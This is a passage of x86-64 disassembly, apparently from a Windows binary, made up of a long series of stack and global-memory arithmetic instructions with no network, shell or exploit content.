movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe868]
mov byte [rcx], al
lea rax, [rsp + 0x181]
mov qword [rsp + 0xffe0], rax
movsx eax, word [rsp + 0x1a40]
movsx ecx, word [rsp + 0x1c54]
sub eax, ecx
mov word [rsp + 0x1af8], ax
lea rax, [rsp + 0x1d30]
mov qword [rsp + 0xffe8], rax
mov rax, qword [rsp + 0xf210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfae8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc2d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbce0]
mov qword [rsp + 0xfff0], rax
mov eax, dword [rsp + 0x6f40]
mov ecx, dword [rsp + 0x706c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe6b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x70cc]
mov ecx, dword [rsp + 0x6f90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b24], eax
movzx eax, word [rsp + 0x1cc8]
mov word [rsp + 0x1df8], ax
movsx eax, word [rsp + 0x188c]
movsx ecx, word [rsp + 0x1ad4]
sub eax, ecx
mov word [0x1402c7654], ax
movsx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0xd490]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe478]
mov byte [rcx], al
mov rax, qword [rsp + 0xff40]
movzx eax, byte [rax]
mov byte [rsp + 0x29b], al
mov rax, qword [rsp + 0xbd98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x16e4]
add eax, ecx
mov word [rsp + 0x1a40], ax
mov rax, qword [rsp + 0xc280]
mov rcx, qword [rsp + 0xf158]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xfc90], rax
mov rax, qword [rsp + 0xe400]
mov qword [rsp + 0xfff8], rax
mov rax, qword [rsp + 0xe180]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6ca8]
sar eax, cl
mov dword [rsp + 0x6bf0], eax
lea rax, [rsp + 0x7130]
mov qword [rsp + 0x10000], rax
movsx eax, byte [rsp + 0x16c]
movsx ecx, byte [0x1402c7522]
xor eax, ecx
mov rcx, qword [rsp + 0xd618]
mov byte [rcx], al
mov rax, qword [rsp + 0xc0f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc4]
shl eax, cl
mov byte [0x1402c74ee], al
mov rax, qword [rsp + 0xe390]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xea]
and eax, ecx
mov byte [rsp + 0xdb], al
lea rax, [rsp + 0x1558]
mov qword [rsp + 0x10008], rax
mov rax, qword [rsp + 0xc0d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19e0]
imul eax, ecx
mov rcx, qword [rsp + 0xe658]
mov word [rcx], ax
lea rax, [rsp + 0x6a4c]
mov qword [rsp + 0x10010], rax
mov rax, qword [rsp + 0xd4b0]
mov rcx, qword [rsp + 0xf7d0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0e8], rax
lea rax, [rsp + 0xe8c0]
mov qword [rsp + 0x10018], rax
mov rax, qword [rsp + 0xf570]
mov ecx, dword [rsp + 0x6b00]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6dc4], eax
mov rax, qword [0x1402c9498]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x175]
add eax, ecx
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd040]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9690]
mov byte [rcx], al
mov rax, qword [rsp + 0xea70]
movzx eax, word [rax]
mov word [rsp + 0x1dfc], ax
movsx eax, word [0x1402c9528]
mov rcx, qword [rsp + 0xf6c0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc710]
mov word [rcx], ax
lea rax, [rsp + 0x18f4]
mov qword [rsp + 0x10020], rax
mov rax, qword [rsp + 0xbe18]
mov ecx, dword [rsp + 0x6e38]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xd6a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xfc90]
mov rcx, qword [rsp + 0xcc58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe268], rax
lea rax, [rsp + 0xe908]
mov qword [rsp + 0x10028], rax
mov rax, qword [rsp + 0xe8a0]
mov ecx, dword [rsp + 0x6cf8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a0c], eax
lea rax, [rsp + 0xe5]
mov qword [rsp + 0x10030], rax
movzx eax, word [rsp + 0x1b04]
movzx ecx, word [rsp + 0x15e0]
sub eax, ecx
mov word [0x1402c7658], ax
movsx eax, byte [rsp + 0x183]
mov rcx, qword [rsp + 0xd240]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd2], al
mov rax, qword [rsp + 0xf418]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d4c]
sar eax, cl
mov rcx, qword [rsp + 0xc140]
mov word [rcx], ax
lea rax, [rsp + 0x1c5]
mov qword [rsp + 0x10038], rax
movsx eax, word [rsp + 0x19dc]
movsx ecx, word [rsp + 0x1a38]
or eax, ecx
mov word [rsp + 0x1728], ax
mov rax, qword [rsp + 0xc0e0]
mov qword [rsp + 0x10040], rax
mov eax, dword [rsp + 0x6d04]
movzx ecx, al
mov eax, dword [rsp + 0x6e00]
shl eax, cl
mov dword [rsp + 0x70e8], eax
mov rax, qword [rsp + 0xf3c0]
mov rcx, qword [rsp + 0xc010]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6ad0], eax
mov rax, qword [rsp + 0xdd00]
mov qword [rsp + 0x10048], rax
movzx eax, word [rsp + 0x1578]
mov rcx, qword [rsp + 0xda80]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x1402c9798]
mov word [rcx], ax
mov rax, qword [rsp + 0xcaa0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ca]
and eax, ecx
mov byte [rsp + 0x6d], al
lea rax, [rsp + 0x23c]
mov qword [rsp + 0x10050], rax
movzx eax, word [rsp + 0x1634]
mov rcx, qword [rsp + 0xe0d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd5a8]
mov word [rcx], ax
mov rax, qword [0x1402c96a8]
movzx eax, byte [rax]
mov byte [rsp + 0x29c], al
mov rax, qword [rsp + 0xe0a0]
mov ecx, dword [rsp + 0x7114]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xf5f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xf6a0]
mov rcx, qword [rsp + 0xcf60]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcf30]
mov qword [rcx], rax
lea rax, [rsp + 0xc900]
mov qword [rsp + 0x10058], rax
mov rax, qword [rsp + 0xe4f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x70dc], eax
mov rax, qword [rsp + 0xcac8]
movzx eax, word [rax]
mov word [0x1402c9950], ax
lea rax, [rsp + 0x17b]
mov qword [rsp + 0x10060], rax
mov rax, qword [0x1402c9160]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdb90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf440]
mov byte [rcx], al
movzx eax, word [rsp + 0x17e8]
mov rcx, qword [rsp + 0xbcd8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x17cc], ax
movzx eax, word [rsp + 0x1530]
mov word [rsp + 0x1e00], ax
mov rax, qword [rsp + 0xcc80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeb08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0xc890]
mov eax, dword [rax]
mov dword [rsp + 0x71b0], eax
mov rax, qword [rsp + 0xe9c8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xf708], rax
mov rax, qword [rsp + 0xf500]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x95]
mov rcx, qword [rsp + 0xe480]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c74d2], al
mov rax, qword [0x1402c9760]
movzx eax, byte [rax]
mov byte [rsp + 0x29d], al
movsx eax, byte [rsp + 0x1de]
mov rcx, qword [rsp + 0xe7c0]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xf0e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1a90]
mov word [rsp + 0x1e04], ax
movzx eax, word [rsp + 0x1c84]
movzx ecx, word [0x1402c7658]
or eax, ecx
mov word [rsp + 0x1560], ax
lea rax, [rsp + 0x6a40]
mov qword [rsp + 0x10068], rax
mov rax, qword [rsp + 0xf428]
mov rcx, qword [rsp + 0xc500]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xe4f0], rax
mov rax, qword [rsp + 0xcbd0]
mov eax, dword [rax]
imul eax, dword [0x1402c7498]
mov dword [rsp + 0x6e98], eax
lea rax, [rsp + 0xec28]
mov qword [rsp + 0x10070], rax
lea rax, [rsp + 0x1548]
mov qword [0x1402c9958], rax
movzx eax, word [rsp + 0x1610]
movzx ecx, word [0x1402c75c4]
and eax, ecx
mov word [rsp + 0x19a4], ax
lea rax, [rsp + 0x258]
mov qword [rsp + 0x10078], rax
movzx eax, byte [rsp + 0xcd]
movzx ecx, byte [rsp + 0x17c]
add eax, ecx
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0xc8c8]
movsx eax, word [rax]
movsx ecx, word [0x1402c75e0]
sub eax, ecx
mov word [rsp + 0x17d8], ax
mov rax, qword [rsp + 0xfbb8]
mov eax, dword [rax]
mov dword [rsp + 0x71b4], eax
mov rax, qword [rsp + 0xbc90]
mov rcx, qword [rsp + 0xe078]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xed48]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6dec]
mov dword [rsp + 0x71b8], eax
mov rax, qword [rsp + 0xe720]
mov rcx, qword [rsp + 0xbec8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcb70], rax
mov rax, qword [rsp + 0xf070]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x21a]
add eax, ecx
mov rcx, qword [0x1402c9938]
mov byte [rcx], al
mov rax, qword [rsp + 0xc478]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x16cc]
add eax, ecx
mov word [rsp + 0x1754], ax
lea rax, [rsp + 0x1d48]
mov qword [rsp + 0x10080], rax
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0xfb50]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbe70]
mov byte [rcx], al
lea rax, [0x1402c91da]
mov qword [rsp + 0x10088], rax
mov rax, qword [rsp + 0xd6a8]
mov ecx, dword [rsp + 0x6e4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6db4], eax
mov eax, dword [rsp + 0x6b44]
mov ecx, dword [rsp + 0x6a3c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bd8], eax
lea rax, [0x1402c7490]
mov qword [rsp + 0x10090], rax
mov rax, qword [rsp + 0xdbd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xee90]
mov qword [rsp + 0x10098], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10098]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbe38], rax
lea rax, [rsp + 0x157]
mov qword [0x1402c9960], rax
mov rax, qword [rsp + 0xe930]
movzx eax, word [rax]
mov word [rsp + 0x1e08], ax
mov rax, qword [0x1402c9240]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17b4]
shl eax, cl
mov word [rsp + 0x1c80], ax
lea rax, [rsp + 0x1b34]
mov qword [rsp + 0x100a0], rax
mov rax, qword [rsp + 0xdcc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1eb]
cdq
idiv ecx
mov rcx, qword [rsp + 0xc4f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xdc58]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7058], eax
mov rax, qword [rsp + 0xbec0]
mov rax, qword [rax]
mov qword [rsp + 0x100a8], rax
mov rax, qword [rsp + 0xd290]
mov rcx, qword [rsp + 0xdef8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe950], rax
mov eax, dword [rsp + 0x69f0]
mov dword [rsp + 0x71bc], eax
movzx eax, word [rsp + 0x169c]
mov rcx, qword [rsp + 0xc478]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x1402c9300]
mov word [rcx], ax
mov rax, qword [rsp + 0xe460]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1aa0]
and eax, ecx
mov rcx, qword [rsp + 0xeec8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd450]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf710]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa3], al
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x29e], al
mov rax, qword [rsp + 0xeed8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x19f]
sub eax, ecx
mov byte [rsp + 0x270], al
mov rax, qword [rsp + 0xfc20]
mov eax, dword [rax]
mov dword [rsp + 0x71c0], eax
mov rax, qword [rsp + 0xda08]
mov rcx, qword [rsp + 0xfe60]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xde88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbb00]
mov ecx, dword [rsp + 0x6c20]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f18], eax
mov rax, qword [rsp + 0xf7f8]
mov qword [rsp + 0x100b0], rax
movsx eax, byte [rsp + 0x175]
mov rcx, qword [rsp + 0xd798]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0xc208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a94]
add eax, ecx
mov word [0x1402c765c], ax
lea rax, [rsp + 0x134]
mov qword [rsp + 0x100b8], rax
movzx eax, word [rsp + 0x1888]
mov rcx, qword [rsp + 0xfa40]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x173c], ax
mov rax, qword [rsp + 0xf5c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x153]
and eax, ecx
mov rcx, qword [rsp + 0xc828]
mov byte [rcx], al
mov eax, dword [rsp + 0x6bc4]
mov dword [rsp + 0x71c4], eax
mov rax, qword [rsp + 0xf9b0]
movzx ecx, al
mov rax, qword [rsp + 0xd0f8]
shl rax, cl
mov qword [rsp + 0xfe48], rax
mov rax, qword [rsp + 0xf458]
mov rax, qword [rax]
mov qword [rsp + 0x100c0], rax
mov rax, qword [rsp + 0xf090]
mov rcx, qword [rsp + 0xf6b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xf180]
mov dword [rcx], eax
lea rax, [rsp + 0x1b70]
mov qword [rsp + 0x100c8], rax
mov rax, qword [rsp + 0xf4b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf2b0]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x1402c7660], ax
movzx eax, byte [rsp + 0x1a1]
mov rcx, qword [rsp + 0xdc50]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc9d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1d38]
movzx ecx, word [rsp + 0x1c24]
cdq
idiv ecx
mov word [rsp + 0x1a44], ax
movzx eax, byte [0x1402c90de]
mov byte [rsp + 0x29f], al
mov rax, qword [rsp + 0xdf58]
mov ecx, dword [rsp + 0x68fc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6b64], eax
lea rax, [rsp + 0xbb70]
mov qword [rsp + 0x100d0], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xf920]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd1f0], rax
mov rax, qword [rsp + 0xc830]
mov ecx, dword [rsp + 0x6e58]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6c58], eax
lea rax, [rsp + 0x291]
mov qword [rsp + 0x100d8], rax
movzx eax, word [rsp + 0x1a28]
mov rcx, qword [rsp + 0xcd58]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402c93e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0xeb]
movzx ecx, byte [rsp + 0x104]
sub eax, ecx
mov byte [rsp + 0x182], al
mov rax, qword [rsp + 0xecf8]
movzx eax, word [rax]
mov word [rsp + 0x1e0c], ax
mov rax, qword [rsp + 0xd1b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc458]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbf40]
mov byte [rcx], al
mov rax, qword [rsp + 0xdda8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe728]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xf7d0], rax
mov rax, qword [rsp + 0xe5b0]
mov eax, dword [rax]
mov dword [rsp + 0x71c8], eax
mov rax, qword [rsp + 0xcba0]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7148], eax
mov rax, qword [rsp + 0xe5c0]
mov qword [rsp + 0x100e0], rax
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x197c]
add eax, ecx
mov rcx, qword [rsp + 0xe018]
mov word [rcx], ax
lea rax, [rsp + 0xc0]
mov qword [0x1402c9968], rax
mov rax, qword [rsp + 0xec40]
movzx eax, byte [rax]
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0xc098]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1860]
sub eax, ecx
mov word [rsp + 0x17ac], ax
mov rax, qword [0x1402c9880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xedd0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf0d0]
mov word [rcx], ax
mov rax, qword [rsp + 0xdb90]
movzx eax, byte [rax]
mov byte [rsp + 0x2a1], al
mov eax, dword [rsp + 0x6be0]
mov ecx, dword [rsp + 0x6b58]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbd78]
mov dword [rcx], eax
lea rax, [0x1402c90a0]
mov qword [rsp + 0x100e8], rax
mov rax, qword [rsp + 0xf320]
movzx ecx, al
mov rax, qword [rsp + 0xd458]
shl rax, cl
mov qword [rsp + 0xdf78], rax
mov rax, qword [rsp + 0xfb60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe9f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xf740], rax
movsx eax, word [rsp + 0x1598]
movsx ecx, word [rsp + 0x1b64]
or eax, ecx
mov word [0x1402c749c], ax
movzx eax, byte [rsp + 0x270]
mov byte [rsp + 0x2a2], al
movzx eax, word [rsp + 0x1780]
movzx ecx, word [0x1402c7620]
sar eax, cl
mov rcx, qword [rsp + 0xda30]
mov word [rcx], ax
movzx eax, word [rsp + 0x1c98]
mov word [rsp + 0x1e10], ax
mov rax, qword [rsp + 0xf4b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1894]
imul eax, ecx
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0xcb50]
mov ecx, dword [rsp + 0x6d14]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6d48], eax
lea rax, [rsp + 0xf670]
mov qword [rsp + 0x100f0], rax
mov rax, qword [rsp + 0xd068]
mov rcx, qword [rsp + 0xe5f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd9a0], rax
mov eax, dword [rsp + 0x6c5c]
mov dword [rsp + 0x71cc], eax
mov rax, qword [0x1402c96e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x23d]
add eax, ecx
mov rcx, qword [0x1402c9538]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdf]
mov rcx, qword [rsp + 0x100b8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0xe018]
movsx eax, word [rax]
movsx ecx, word [0x1402c7590]
sub eax, ecx
mov rcx, qword [rsp + 0xdc48]
mov word [rcx], ax
lea rax, [rsp + 0x216]
mov qword [rsp + 0x100f8], rax
mov rax, qword [rsp + 0xce40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ac]
sub eax, ecx
mov rcx, qword [rsp + 0xfb10]
mov byte [rcx], al
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0x10100], rax
mov rax, qword [rsp + 0xd3f0]
mov ecx, dword [rsp + 0x70f0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcbd0]
mov dword [rcx], eax
lea rax, [rsp + 0x7130]
mov qword [rsp + 0x10108], rax
mov rax, qword [rsp + 0xd468]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc6d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe88], rax
mov rax, qword [rsp + 0xda10]
movzx eax, byte [rax]
mov byte [0x1402c91db], al
movzx eax, byte [rsp + 0xeb]
mov rcx, qword [rsp + 0xdab8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
lea rax, [rsp + 0x1d84]
mov qword [rsp + 0x10110], rax
movzx eax, word [0x1402c75d8]
mov rcx, qword [rsp + 0xf7f0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd8f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd1c0]
movzx eax, word [rax]
mov word [rsp + 0x1e14], ax
mov rax, qword [rsp + 0xeea8]
mov rcx, qword [rsp + 0xec88]
mov qword [rsp + 0x10118], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10118]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xe808], rax
mov rax, qword [rsp + 0xe340]
mov ecx, dword [rsp + 0x6cf0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6e7c], eax
mov eax, dword [rsp + 0x6c34]
mov dword [rsp + 0x71d0], eax
mov rax, qword [rsp + 0xebe8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc2b0]
shl rax, cl
mov rcx, qword [rsp + 0xf7e8]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1734]
mov rcx, qword [rsp + 0xc528]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c7664], ax
movzx eax, word [rsp + 0x1578]
mov word [rsp + 0x1e18], ax
mov rax, qword [rsp + 0xec10]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c7556]
sub eax, ecx
mov rcx, qword [rsp + 0xd088]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1bc]
movsx ecx, byte [rsp + 0x14f]
add eax, ecx
mov byte [rsp + 0xd0], al
lea rax, [rsp + 0x264]
mov qword [rsp + 0x10120], rax
mov rax, qword [rsp + 0xc180]
mov ecx, dword [rsp + 0x6e60]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x70e8], eax
lea rax, [rsp + 0x6d00]
mov qword [rsp + 0x10128], rax
mov rax, qword [rsp + 0xc880]
mov rcx, qword [rsp + 0xe4c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe810], rax
mov rax, qword [rsp + 0xef58]
mov rax, qword [rax]
mov qword [rsp + 0x10130], rax
movsx eax, byte [0x1402c751b]
mov rcx, qword [rsp + 0xc6d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1402c91a7], al
movzx eax, word [rsp + 0x1ae4]
mov rcx, qword [rsp + 0xf2e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d98], ax
movsx eax, byte [rsp + 0x1ef]
mov rcx, qword [0x1402c9938]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf4], al
mov rax, qword [rsp + 0xdc48]
movzx eax, word [rax]
mov word [rsp + 0x1e1c], ax
movzx eax, word [rsp + 0x1834]
mov rcx, qword [rsp + 0xc478]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1888], ax
mov rax, qword [rsp + 0xc568]
mov qword [rsp + 0x10138], rax
mov eax, dword [rsp + 0x6e68]
mov ecx, dword [rsp + 0x7194]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c44], eax
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x711c]
sar eax, cl
mov rcx, qword [rsp + 0xe5e0]
mov dword [rcx], eax
mov rax, qword [0x1402c7490]
mov qword [rsp + 0x10140], rax
mov rax, qword [rsp + 0xe9e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b7c]
shl eax, cl
mov word [0x1402c971c], ax
movsx eax, byte [rsp + 0x27e]
movsx ecx, byte [rsp + 0xd0]
or eax, ecx
mov rcx, qword [rsp + 0x10050]
mov byte [rcx], al
movzx eax, byte [rsp + 0x285]
mov byte [rsp + 0x2a3], al
movsx eax, word [rsp + 0x1d7c]
mov rcx, qword [rsp + 0xfb70]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1944], ax
movzx eax, byte [rsp + 0x1ba]
mov rcx, qword [rsp + 0xd7e8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbcf0]
mov byte [rcx], al
lea rax, [rsp + 0x6d8c]
mov qword [rsp + 0x10148], rax
mov rax, qword [rsp + 0xf650]
mov rcx, qword [rsp + 0xd0b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd7f8]
mov qword [rcx], rax
lea rax, [rsp + 0x6988]
mov qword [rsp + 0x10150], rax
mov rax, qword [rsp + 0xda08]
mov rcx, qword [rsp + 0xf888]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba08], rax
movsx eax, byte [rsp + 0x14f]
movsx ecx, byte [rsp + 0x1e4]
sub eax, ecx
mov byte [reloc.SHELL32.dll_SHDefExtractIconW], al
movsx eax, word [rsp + 0x1afc]
mov rcx, qword [rsp + 0xd3c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x17f8], ax
lea rax, [rsp + 0x1bd8]
mov qword [rsp + 0x10158], rax
mov rax, qword [rsp + 0xea38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xefc0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1850], ax
movzx eax, byte [rsp + 0x26f]
mov byte [rsp + 0x2a4], al
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xf700]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xddf0]
mov dword [rcx], eax
lea rax, [rsp + 0xf518]
mov qword [rsp + 0x10160], rax
mov rax, qword [rsp + 0xf698]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f60]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbbf8]
mov dword [rcx], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xe2e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xda78], rax
movzx eax, byte [rsp + 0xab]
mov byte [rsp + 0x2a5], al
lea rax, [rsp + 0x110]
mov qword [0x1402c9970], rax
movzx eax, word [rsp + 0x1a4c]
movzx ecx, word [rsp + 0x1714]
add eax, ecx
mov word [rsp + 0x1bfc], ax
lea rax, [rsp + 0x1d7c]
mov qword [rsp + 0x10168], rax
movsx eax, word [rsp + 0x1910]
mov rcx, qword [rsp + 0xbc80]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc838]
mov word [rcx], ax
mov rax, qword [rsp + 0xd470]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xf3b8]
shr rax, cl
mov qword [rsp + 0xcf68], rax
mov eax, dword [rsp + 0x6ff8]
mov dword [rsp + 0x71d4], eax
mov rax, qword [rsp + 0xee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c80]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e3c], eax
mov rax, qword [rsp + 0xf3e0]
mov rax, qword [rax]
mov qword [rsp + 0x10170], rax
mov rax, qword [rsp + 0xdfd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd890]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x11d], al
movzx eax, word [rsp + 0x1764]
mov rcx, qword [rsp + 0xf988]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [0x1402c9128]
mov word [rcx], ax
mov rax, qword [0x1402c9280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe5]
and eax, ecx
mov byte [rsp + 0xfd], al
lea rax, [rsp + 0x1880]
mov qword [rsp + 0x10178], rax
mov rax, qword [rsp + 0xfe90]
movzx eax, word [rax]
movzx ecx, word [0x1402c94f8]
add eax, ecx
mov word [rsp + 0x1808], ax
lea rax, [rsp + 0xc550]
